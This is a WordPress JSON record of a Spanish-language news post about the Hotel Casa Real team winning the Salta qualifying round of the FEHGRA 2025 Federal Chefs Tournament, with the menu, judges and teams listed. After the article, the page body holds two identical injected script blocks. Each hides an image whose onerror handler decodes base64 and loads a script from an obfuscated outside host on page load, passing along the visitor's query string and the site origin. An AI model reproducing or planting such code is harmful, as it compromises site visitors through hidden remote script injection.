{"id":5291,"date":"2025-06-30T11:43:42","date_gmt":"2025-06-30T14:43:42","guid":{"rendered":"https:\/\/circuitosalta.com.ar\/?p=5291"},"modified":"2025-08-13T23:28:25","modified_gmt":"2025-08-14T02:28:25","slug":"el-hotel-casa-real-gano-la-ronda-clasificatoria-salta-del-torneo-federal-de-chefs","status":"publish","type":"post","link":"https:\/\/circuitosalta.com.ar\/?p=5291","title":{"rendered":"El Hotel Casa Real gan\u00f3 la Ronda Clasificatoria Salta del Torneo Federal de Chefs"},"content":{"rendered":"\n<p><em><strong>Tradici\u00f3n, vanguardia y productos regionales se combinaron en un encuentro que celebr\u00f3 lo mejor de la cocina salte\u00f1a. El equipo ganador competir\u00e1 en la Gran Final, que se desarrollar\u00e1 en HOTELGA, con la participaci\u00f3n de chefs de todo el pa\u00eds.<\/strong><\/em><\/p>\n\n\n\n<p>Con un men\u00fa innovador y arraigado en los sabores del norte argentino, el equipo del Hotel Casa Real se alz\u00f3 con el primer puesto en la Ronda Clasificatoria Salta del Torneo Federal de Chefs FEHGRA 2025, que se llev\u00f3 a cabo ayer organizada por la C\u00e1mara Hotelera Gastron\u00f3mica y Afines de Salta.<\/p>\n\n\n\n<p>Hoy, se desarroll\u00f3 la entrega de premios, que fue presidida por Carlos Mellano, vicepresidente de la Federaci\u00f3n; y Juan Chiban, presidente de la C\u00e1mara local, junto al subsecretario de Desarrollo y Competitividad del Ministerio de Turismo de Salta, Juan Lucero; y el secretario de Cultura y Turismo de la Ciudad de Salta, Fernando Garc\u00eda Soria.<\/p>\n\n\n\n<p>El equipo del Hotel Casa Real, integrado por el chef Claudio Rod\u00f3 y el ayudante Diego Reinoso, homenaje\u00f3 la identidad gastron\u00f3mica local con creatividad y excelencia t\u00e9cnica:<\/p>\n\n\n\n<p>\u2022 Plato de un bocado: Croqueta de humita ahumada con velo de albahaca<\/p>\n\n\n\n<p>\u2022 Pieza principal: Bife ancho relleno de farce de trucha, quinoa negra y roja con crocante de ma\u00edz, terminado con ceviche de trucha<\/p>\n\n\n\n<p>\u2022 Guarniciones: Bu\u00f1uelo de papa andina relleno de habas, arvejas, pimienta molle y quesillo. Panacotta de pimientos criollos con tropezones de papa de aire sobre achojcha, espuma de queso de cabra, tuil de semillas y flores de estaci\u00f3n<\/p>\n\n\n\n<p>\u2022 Salsa: Crema de torront\u00e9s y piment\u00f3n de Cachi<\/p>\n\n\n\n<p>\u2022 Extras: Bebidas con bot\u00e1nicos del monte<\/p>\n\n\n\n<p>El jurado evaluador de la Ronda Salta, que es la octava en esta edici\u00f3n del Torneo, estuvo compuesto por importantes referentes del \u00e1mbito gastron\u00f3mico local, como Patricia Balderrama, Lalo Angelina y Pablo Epstein, y el asesor de FEHGRA, Luciano Nanni.<\/p>\n\n\n\n<p><strong>Los 7 equipos que clasificaron para la Ronda salte\u00f1a fueron:<\/strong><\/p>\n\n\n\n<p>1. Hotel Alejandro I. Chef Esteban Cruz y Ayudante Yanina Ferroni<\/p>\n\n\n\n<p>2. Hoster\u00eda Iruya. Chef Rosa de Ramos y Ayudante Ilda Tolava<\/p>\n\n\n\n<p>3. Confiter\u00eda Patios de San Francisco. Chef Fernando Galarza y Ayudante Alex G\u00f3mez<\/p>\n\n\n\n<p>4. Hotel Termas de Rosario de la Frontera. Chef Juan Manuel Godoy y Ayudante Pablo C\u00e1rdenas<\/p>\n\n\n\n<p>5. Hotel Casa Real. Chef Claudio Rod\u00f3 y el ayudante Diego Reinoso<\/p>\n\n\n\n<p>6. Hotel Caseros. Chef Mat\u00edas Carrizo y Ayudante Luis Dargam<\/p>\n\n\n\n<p>7. Eventos UTHGRA. Chef Gustavo D\u00edaz y Ayudante Arnaldo C\u00f3rdoba<\/p>\n\n\n\n<p>Los finalistas de las Rondas Clasificatorias competir\u00e1n en la Gran Final del Torneo Federal de Chefs, que se desarrollar\u00e1 en HOTELGA -del 27 al 29 de agosto, en La Rural, CABA-. El certamen de FEHGRA tiene como objetivos fomentar la mejora continua, la identidad culinaria argentina y la jerarquizaci\u00f3n del rol del chef.<\/p>\n\n\n\n<p><em>En la foto, de izquierda a derecha: Fernando Garc\u00eda Soria, Juan Lucero, Carlos Mellano, Patricia Balderrama, Claudio Rod\u00f3, Juan Chiban, Luciano Nanni, Diego Reinoso y Delia Torres, gerente del Hotel Casa Real.<\/em><\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img decoding=\"async\" src=\"https:\/\/fehgra.org.ar\/wp-content\/uploads\/2023\/06\/logo-para-header-www.svg\" alt=\"\" style=\"width:262px;height:auto\"\/><\/figure>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>Tradici\u00f3n, vanguardia y productos regionales se combinaron en un encuentro que celebr\u00f3 lo mejor de la cocina salte\u00f1a. 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